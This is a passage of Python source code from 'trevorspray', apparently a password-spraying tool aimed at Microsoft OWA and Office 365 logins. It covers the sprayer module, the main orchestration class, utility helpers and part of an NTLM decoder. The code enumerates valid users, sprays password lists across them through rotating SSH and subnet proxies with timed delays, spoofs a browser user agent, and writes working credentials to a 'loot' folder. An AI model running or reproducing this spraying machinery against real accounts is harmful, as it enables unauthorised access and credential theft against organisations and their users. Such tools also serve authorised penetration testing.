domain "{self.trevor.domain}"') 40 | discovery = self.trevor.discovery(self.trevor.domain) 41 | self.url = discovery.autodiscover().get("Url", "none") 42 | else: 43 | self.domain = "office365.com" 44 | discovery = self.trevor.discovery(self.domain) 45 | 46 | if self.url == "none": 47 | self.url = "https://outlook.office365.com/autodiscover/autodiscover.xml" 48 | log.warning(f"Failed to autodetect URL. Falling back to {self.url}") 49 | 50 | extracted = tldextract.extract(self.url) 51 | if f"{extracted.domain}.{extracted.suffix}".lower() in [ 52 | "outlook.com", 53 | "office365.com", 54 | ]: 55 | log.warning( 56 | "NOTE: You are spraying O365. Please manually specify a --url if this is not what you want." 57 | ) 58 | self.o365 = True 59 | 60 | log.info(f"Using OWA URL: {self.url}") 61 | if not self.o365: 62 | discovery.owa_internal_domain(self.url) 63 | 64 | return True 65 | 66 | def create_request(self, username, password, proxythread): 67 | """ 68 | Returns request.Request() object 69 | """ 70 | 71 | r = super().create_request(username, password, proxythread) 72 | if self.o365: 73 | r.auth = (username, password) 74 | else: 75 | r.auth = HttpNtlmAuth(username, password) 76 | return r 77 | 78 | def check_response(self, response): 79 | exists = False 80 | valid = False 81 | locked = False 82 | 83 | response_length = len(getattr(response, "content", "")) 84 | msg = f"[{response}] (Length: {response_length})" 85 | 86 | response_code = getattr(response, "status_code", 0) 87 | if response_code in [200, 456]: 88 | exists = True 89 | valid = True 90 | msg = "Valid credential!" 91 | if response_code == 456: 92 | msg += ( 93 | " But login failed, please check manually (MFA, account locked, etc.)" 94 | ) 95 | 96 | return (valid, exists, locked, msg) 97 | -------------------------------------------------------------------------------- /trevorspray/lib/trevor.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import logging 4 | import threading 5 | from . import util 6 | from . import sprayers 7 | from pathlib import Path 8 | from . import enumerators 9 | from contextlib import suppress 10 | from tldextract import tldextract 11 | from .errors import TREVORSprayError 12 | from .discover import DomainDiscovery 13 | from .proxy import ProxyThread, SubnetThread 14 | 15 | log = logging.getLogger("trevorspray.sprayer") 16 | 17 | 18 | class TrevorSpray: 19 | env_keyword = "TREVOR_" 20 | 21 | def __init__(self, options): 22 | self.options = options 23 | self.runtimeparams = dict(self.env) 24 | 25 | self.lockout_counter = 0 26 | self.lockout_question = False 27 | 28 | self.sprayed_counter = 0 29 | self.sprayed_possible = max(1, len(self.options.users)) * max( 30 | 1, len(self.options.passwords) 31 | ) 32 | 33 | self.home = Path.home() / ".trevorspray" 34 | self.home.mkdir(exist_ok=True) 35 | self.loot_dir = self.home / "loot" 36 | self.loot_dir.mkdir(exist_ok=True) 37 | 38 | self._discovery = {} 39 | self._domain = None 40 | 41 | self.proxies = [] 42 | if options.ssh: 43 | threads = options.ssh + ([] if options.no_current_ip else [None]) 44 | elif options.subnet: 45 | threads = [""] * options.threads 46 | else: 47 | threads = [None] * options.threads 48 | 49 | self.subnet_proxy = None 50 | if options.subnet: 51 | self.subnet_proxy = SubnetThread(trevor=self, daemon=True) 52 | self.subnet_proxy.start() 53 | 54 | initial_delay_increment = (options.delay + (options.jitter / 2)) / max( 55 | 1, len(options.ssh) 56 | ) 57 | for i, ssh_host in enumerate(threads): 58 | proxy = ProxyThread( 59 | trevor=self, 60 | host=ssh_host, 61 | proxy_port=options.base_port + i, 62 | daemon=True, 63 | ) 64 | if options.ssh or options.threads: 65 | proxy.initial_delay = initial_delay_increment * i 66 | self.proxies.append(proxy) 67 | 68 | self.user_enum = False 69 | self.user_enumerator = None 70 | if self.options.users and self.options.recon: 71 | log.info(f"User enumeration enabled with --recon and --users") 72 | self.user_enum = True 73 | choices = list(enumerators.module_choices.keys()) 74 | choice = self.runtimeparams.get("userenum_method", "") 75 | while not choice: 76 | log.info( 77 | f'Choosing user enumeration method (skip by exporting TREVOR_userenum_method={"|".join(choices)})' 78 | ) 79 | choice = input( 80 | f'\n[USER] Which user enumeration method would you like to use? ({"|".join(choices)}) ' 81 | ) 82 | if choice not in choices: 83 | log.error(f'Invalid selection, "{choice}"') 84 | choice = "" 85 | continue 86 | self.runtimeparams.update({"userenum_method": str(choice)}) 87 | self.user_enumerator = enumerators.module_choices[choice](trevor=self) 88 | 89 | sprayer_class = sprayers.module_choices.get(options.module, None) 90 | if sprayer_class is not None: 91 | self.sprayer = sprayer_class(trevor=self) 92 | else: 93 | raise TREVORSprayError(f'Failed to load sprayer "{options.module}"') 94 | 95 | self.existent_users_file = str(self.home / "existent_users.txt") 96 | self.valid_logins_file = str(self.home / "valid_logins.txt") 97 | self.tried_logins_file = str(self.home / "tried_logins.txt") 98 | self.existent_users = [] 99 | self.valid_logins = [] 100 | self.tried_logins = util.read_file( 101 | self.tried_logins_file, key=lambda x: x.startswith(f"{self.sprayer.id}") 102 | ) 103 | 104 | self.lock = threading.Lock() 105 | self._stop = False 106 | self.stopping = False 107 | 108 | def go(self): 109 | try: 110 | self.start() 111 | 112 | if self.options.recon: 113 | discovery = self.discovery(self.options.recon) 114 | discovery.recon() 115 | 116 | if self.options.userpass: 117 | # username + password pair 118 | log.info( 119 | f"Spraying {len(self.options.userpass):,} users against {self.sprayer.url} at {time.ctime()}" 120 | ) 121 | self.spray(user_pass=True) 122 | log.info( 123 | f"Finished spraying {self.sprayed_counter:,} users against {self.sprayer.url} at {time.ctime()}" 124 | ) 125 | for success in self.valid_logins: 126 | log.success(success) 127 | 128 | if self.options.users: 129 | # user enumeration 130 | if self.options.recon: 131 | log.info( 132 | f"Enumerating {len(self.options.users):,} users against {self.user_enumerator.url} at {time.ctime()}" 133 | ) 134 | self.spray(enumerate_users=True) 135 | log.info( 136 | f"Enumerated {len(self.existent_users):,} valid users against {self.user_enumerator.url} at {time.ctime()}" 137 | ) 138 | self.options.users = list(self.existent_users) 139 | 140 | # password spray 141 | if self.options.passwords: 142 | log.info( 143 | f"Spraying {len(self.options.users):,} users * {len(self.options.passwords):,} passwords against {self.sprayer.url} at {time.ctime()}" 144 | ) 145 | self.spray() 146 | log.info( 147 | f"Finished spraying {self.sprayed_counter:,} users against {self.sprayer.url} at {time.ctime()}" 148 | ) 149 | for success in self.valid_logins: 150 | log.success(success) 151 | finally: 152 | self.stop() 153 | 154 | def spray(self, enumerate_users=False, user_pass=False): 155 | if enumerate_users: 156 | sprayer = self.user_enumerator 157 | else: 158 | sprayer = self.sprayer 159 | 160 | ready = False 161 | try: 162 | ready = sprayer.initialize() 163 | except Exception as e: 164 | log.error( 165 | f"Unhandled error in {sprayer.__class__.__name__}.initialize(): {e}" 166 | ) 167 | if log.level <= logging.DEBUG: 168 | import traceback 169 | 170 | log.error(traceback.format_exc()) 171 | 172 | if not ready: 173 | log.error(f"Failed to initialize {sprayer.__class__.__name__}") 174 | return 175 | 176 | if not user_pass: 177 | for password in [None] if enumerate_users else self.options.passwords: 178 | for user in self.options.users: 179 | accepted = False 180 | while not accepted and not self._stop: 181 | for proxy in self.proxies: 182 | accepted = proxy.submit(user, password, enumerate_users) 183 | if accepted: 184 | break 185 | 186 | if not accepted: 187 | time.sleep(0.1) 188 | elif user_pass: 189 | for line in self.options.userpass: 190 | username, password = line.split(":", 1) 191 | accepted = False 192 | while not accepted and not self._stop: 193 | for proxy in self.proxies: 194 | accepted = proxy.submit(username, password, enumerate_users) 195 | if accepted: 196 | break 197 | 198 | if not accepted: 199 | time.sleep(0.1) 200 | 201 | # wait until finished 202 | self.stopping = True 203 | while not self.finished: 204 | log.verbose("Waiting for proxy threads to finish") 205 | time.sleep(2) 206 | 207 | def start(self): 208 | for proxy in self.proxies: 209 | if proxy is not None: 210 | proxy.start() 211 | 212 | def stop(self): 213 | log.debug("Stopping sprayer") 214 | self.stopping = True 215 | self._stop = True 216 | for proxy in self.proxies: 217 | if proxy is not None: 218 | proxy.stop() 219 | with suppress(Exception): 220 | self.subnet_proxy.stop() 221 | # write valid users 222 | util.update_file(self.existent_users_file, self.existent_users) 223 | log.info( 224 | f"{len(self.existent_users):,} valid users written to {self.existent_users_file}" 225 | ) 226 | # write attempted logins 227 | util.update_file(self.tried_logins_file, self.tried_logins) 228 | # write valid logins 229 | util.update_file(self.valid_logins_file, self.valid_logins) 230 | log.info( 231 | f"{len(self.valid_logins):,} valid user/pass combos written to {self.valid_logins_file}" 232 | ) 233 | 234 | @property 235 | def finished(self): 236 | return all([not proxy.running for proxy in self.proxies]) 237 | 238 | def discovery(self, domain): 239 | try: 240 | domain = tldextract.extract(domain).fqdn 241 | except Exception: 242 | return None 243 | if not domain in self._discovery: 244 | self._discovery[domain] = DomainDiscovery(self, domain) 245 | return self._discovery[domain] 246 | 247 | @property 248 | def env(self): 249 | env = dict() 250 | # enumerate environment variables 251 | for k, v in os.environ.items(): 252 | if k.startswith(self.env_keyword): 253 | _k = k.split(self.env_keyword)[-1] 254 | env[_k] = v 255 | return env 256 | 257 | @property 258 | def domain(self): 259 | if self._domain is None: 260 | if self.options.recon: 261 | self._domain = str(self.options.recon) 262 | elif self.options.users: 263 | for user in self.options.users: 264 | if "@" in user: 265 | self._domain = self.options.users[0].split("@")[-1].lower() 266 | break 267 | 268 | return self._domain 269 | -------------------------------------------------------------------------------- /trevorspray/lib/util/__init__.py: -------------------------------------------------------------------------------- 1 | from .misc import * 2 | from .threadpool import ThreadPool 3 | from .ntlmdecoder import ntlmdecode 4 | -------------------------------------------------------------------------------- /trevorspray/lib/util/misc.py: -------------------------------------------------------------------------------- 1 | import json 2 | import logging 3 | import requests 4 | import tldextract 5 | from time import sleep 6 | import subprocess as sp 7 | from pathlib import Path 8 | import lxml.etree as etree 9 | from pygments import highlight 10 | from contextlib import suppress 11 | from urllib.parse import urlparse 12 | from pygments.lexers.html import XmlLexer 13 | from pygments.lexers.data import JsonLexer 14 | from requests.exceptions import RequestException 15 | from pygments.formatters import TerminalFormatter 16 | 17 | log = logging.getLogger("trevorspray.util.misc") 18 | 19 | 20 | windows_user_agent = "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 21 | 22 | 23 | def highlight_json(j): 24 | if type(j) in [dict, list, set, tuple]: 25 | j = json.dumps(j, indent=4) 26 | 27 | return highlight(j, JsonLexer(), TerminalFormatter()) 28 | 29 | 30 | def highlight_xml(x): 31 | if type(x) == str: 32 | x = str.encode() 33 | 34 | with suppress(Exception): 35 | x = etree.tostring(etree.fromstring(x), pretty_print=True) 36 | 37 | return highlight(x, XmlLexer(), TerminalFormatter()) 38 | 39 | 40 | def files_to_list(l, lowercase=False): 41 | new_list = dict() 42 | for entry in l: 43 | entry = str(entry) 44 | try: 45 | with open(entry, errors="ignore") as f: 46 | for line in f.readlines(): 47 | entry = line.strip("\r\n") 48 | if lowercase: 49 | entry = entry.lower() 50 | new_list[entry] = True 51 | except OSError: 52 | if entry and entry not in new_list: 53 | new_list[entry] = True 54 | 55 | return new_list 56 | 57 | 58 | def update_file(filename, l): 59 | """ 60 | Update file "filename" with entries from list "l" 61 | Only unique entries are added 62 | """ 63 | 64 | final_list = dict() 65 | try: 66 | with open(str(filename)) as f: 67 | for line in f: 68 | final_list[line.strip()] = True 69 | except OSError as e: 70 | log.debug(f"Could not read file {filename}: {e}") 71 | for entry in l: 72 | final_list[entry] = True 73 | with open(filename, "w") as f: 74 | f.writelines([f"{e}\n" for e in final_list]) 75 | 76 | 77 | def read_file(filename, key=lambda x: True): 78 | final_list = dict() 79 | try: 80 | with open(str(filename)) as f: 81 | for line in f.readlines(): 82 | entry = line.strip() 83 | if key(entry): 84 | final_list[entry] = True 85 | except OSError as e: 86 | log.debug(f"Could not read file {filename}: {e}") 87 | 88 | return final_list 89 | 90 | 91 | def ssh_key_encrypted(f=None): 92 | if f is None: 93 | f = Path.home() / ".ssh/id_rsa" 94 | 95 | try: 96 | p = sp.run( 97 | ["ssh-keygen", "-y", "-P", "", "-f", str(f)], 98 | stdout=sp.DEVNULL, 99 | stderr=sp.PIPE, 100 | ) 101 | if not "incorrect" in p.stderr.decode(): 102 | return False 103 | except Exception: 104 | pass 105 | return True 106 | 107 | 108 | def is_domain(d): 109 | extracted = tldextract.extract(d) 110 | if extracted.domain and not extracted.subdomain: 111 | return True 112 | return False 113 | 114 | 115 | def is_subdomain(d): 116 | extracted = tldextract.extract(d) 117 | if extracted.domain and extracted.subdomain: 118 | return True 119 | return False 120 | 121 | 122 | def is_url(d): 123 | parsed = urlparse(d) 124 | if parsed.scheme or "/" in parsed.path or parsed.query: 125 | return True 126 | return False 127 | 128 | 129 | def download_file(url, filename, **kwargs): 130 | log.debug(f"Downloading file from {url} to {filename}, {kwargs}") 131 | with request("GET", url, stream=True, **kwargs) as response: 132 | text = getattr(response, "text", "") 133 | status_code = getattr(response, "status_code", 0) 134 | log.debug(f"Download result: HTTP {status_code}, Size: {len(text)}") 135 | if status_code != 0: 136 | response.raise_for_status() 137 | with open(filename, "wb") as f: 138 | for chunk in response.iter_content(chunk_size=8192): 139 | f.write(chunk) 140 | 141 | 142 | def request(*args, **kwargs): 143 | retries = kwargs.pop("retries", 3) 144 | session = kwargs.pop("session", None) 145 | 146 | prepared = False 147 | if len(args) > 1: 148 | url = args[1] 149 | elif len(args) == 1: 150 | url = args[0] 151 | if type(url) == requests.models.PreparedRequest: 152 | prepared = url 153 | url = str(url.url) 154 | else: 155 | url = kwargs.get("url", "") 156 | 157 | if not prepared and not args and "method" not in kwargs: 158 | kwargs["method"] = "GET" 159 | 160 | if not "timeout" in kwargs: 161 | kwargs["timeout"] = 10 162 | 163 | if prepared: 164 | headers = prepared.headers 165 | else: 166 | headers = kwargs.get("headers", {}) 167 | 168 | if "User-Agent" not in headers: 169 | headers.update({"User-Agent": windows_user_agent}) 170 | if prepared: 171 | prepared.headers = headers 172 | else: 173 | kwargs["headers"] = headers 174 | 175 | if not "verify" in kwargs: 176 | kwargs["verify"] = False 177 | 178 | while retries == "infinite" or retries >= 0: 179 | try: 180 | if prepared: 181 | logstr = f"Web Request: {prepared.method} {prepared.url} {prepared.headers}, {str(kwargs)}" 182 | else: 183 | logstr = f"Web request: {str(args)}, {str(kwargs)}" 184 | log.debug(logstr) 185 | if session is not None: 186 | if prepared: 187 | response = session.send(*args, **kwargs) 188 | else: 189 | response = session.request(*args, **kwargs) 190 | else: 191 | response = requests.request(*args, **kwargs) 192 | log.debug( 193 | f"Web response: {response} (Length: {len(response.content)}) headers: {response.headers}" 194 | ) 195 | return response 196 | except RequestException as e: 197 | log.debug(f"Web error: {e}") 198 | if retries != "infinite": 199 | retries -= 1 200 | if retries == "infinite" or retries >= 0: 201 | log.warning(f'Error requesting "{url}", retrying...') 202 | sleep(2) 203 | else: 204 | return e 205 | -------------------------------------------------------------------------------- /trevorspray/lib/util/ntlmdecoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Stolen from https://github.com/byt3bl33d3r/SprayingToolkit/blob/master/core/utils/ntlmdecoder.py 4 | 5 | ## Decodes NTLM "Authenticate" HTTP-Header blobs. 6 | ## Reads the raw blob from stdin; prints out the contained metadata. 7 | ## Supports (auto-detects) Type 1, Type 2, and Type 3 messages. 8 | ## Based on the excellent protocol description from: 9 | ## 10 | ## with additional detail subsequently added from the official protocol spec: 11 | ## 12 | ## 13 | ## For example: 14 | ## 15 | ## $ echo "TlRMTVNTUAABAAAABYIIAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAwAAAA" | ./ntlmdecoder.py 16 | ## Found NTLMSSP header 17 | ## Msg Type: 1 (Request) 18 | ## Domain: '' [] (0b @0) 19 | ## Workstation: '' [] (0b @0) 20 | ## OS Ver: '????0???' 21 | ## Flags: 0x88205 ["Negotiate Unicode", "Request Target", "Negotiate NTLM", "Negotiate Always Sign", "Negotiate NTLM2 Key"] 22 | ## 23 | 24 | import base64 25 | import struct 26 | import string 27 | import collections 28 | import logging 29 | from binascii import hexlify 30 | 31 | log = logging.getLogger("trevorspray.util.ntlmdecoder") 32 | 33 | flags_tbl_str = """0x00000001 Negotiate Unicode 34 | 0x00000002 Negotiate OEM 35 | 0x00000004 Request Target 36 | 0x00000008 unknown 37 | 0x00000010 Negotiate Sign 38 | 0x00000020 Negotiate Seal 39 | 0x00000040 Negotiate Datagram Style 40 | 0x00000080 Negotiate Lan Manager Key 41 | 0x00000100 Negotiate Netware 42 | 0x00000200 Negotiate NTLM 43 | 0x00000400 unknown 44 | 0x00000800 Negotiate Anonymous 45 | 0x00001000 Negotiate Domain Supplied 46 | 0x00002000 Negotiate Workstation Supplied 47 | 0x00004000 Negotiate Local Call 48 | 0x00008000 Negotiate Always Sign 49 | 0x00010000 Target Type Domain 50 | 0x00020000 Target Type Server 51 | 0x00040000 Target Type Share 52 | 0x00080000 Negotiate NTLM2 Key 53 | 0x00100000 Request Init Response 54 | 0x00200000 Request Accept Response 55 | 0x00400000 Request Non-NT Session Key 56 | 0x00800000 Negotiate Target Info 57 | 0x01000000 unknown 58 | 0x02000000 unknown 59 | 0x04000000 unknown 60 | 0x08000000 unknown 61 | 0x10000000 unknown 62 | 0x20000000 Negotiate 128 63 | 0x40000000 Negotiate Key Exchange 64 | 0x80000000 Negotiate 56""" 65 | 66 | flags_tbl = [line.split(" ") for line in flags_tbl_str.split("\n")] 67 | flags_tbl = [(int(x, base=16), y) for x, y in flags_tbl] 68 | VALID_CHRS = set(string.ascii_letters + string.digits + string.punctuation) 69 | 70 | 71 | def flags_lst(flags): 72 | return [desc for val, desc in flags_tbl if val & flags] 73 | 74 | 75 | def flags_str(flags): 76 | return ", ".join('"%s"' % s for s in flags_lst(flags)) 77 | 78 | 79 | def clean_str(st): 80 | return "".join((s if s in VALID_CHRS else "?") for s in st) 81 | 82 | 83 | class StrStruct(object): 84 | def __init__(self, pos_tup, raw): 85 | length, alloc, offset = pos_tup 86 | self.length = length 87 | self.alloc = alloc 88 | self.offset = offset 89 | self.raw = raw[offset : offset + length] 90 | self.utf16 = False 91 | 92 | if len(self.raw) >= 2 and self.raw[1] == "\0": 93 | self.string = self.raw.decode("utf-16") 94 | self.utf16 = True 95 | else: 96 | self.string = self.raw 97 | 98 | def __str__(self): 99 | st = "%s'%s' [%s] (%db @%d)" % ( 100 | "u" if self.utf16 else "", 101 | clean_str(self.string), 102 | hexlify(self.raw), 103 | self.length, 104 | self.offset, 105 | ) 106 | if self.alloc != self.length: 107 | st += " alloc: %d" % self.alloc 108 | return st 109 | 110 | 111 | msg_types = collections.defaultdict(lambda: "UNKNOWN") 112 | msg_types[1] = "Request" 113 | msg_types[2] = "Challenge" 114 | msg_types[3] = "Response" 115 | 116 | target_field_types = collections.defaultdict(lambda: "UNKNOWN") 117 | target_field_types[0] = "TERMINATOR" 118 | target_field_types[1] = "NetBIOS_Computer_Name" 119 | target_field_types[2] = "NetBIOS_Domain_Name" 120 | target_field_types[3] = "FQDN" 121 | target_field_types[4] = "DNS_Domain_name" 122 | target_field_types[5] = "DNS_Tree_Name" 123 | target_field_types[7] = "Timestamp" 124 | 125 | 126 | def opt_str_struct(name, st, offset): 127 | nxt = st[offset : offset + 8] 128 | if len(nxt) == 8: 129 | hdr_tup = struct.unpack("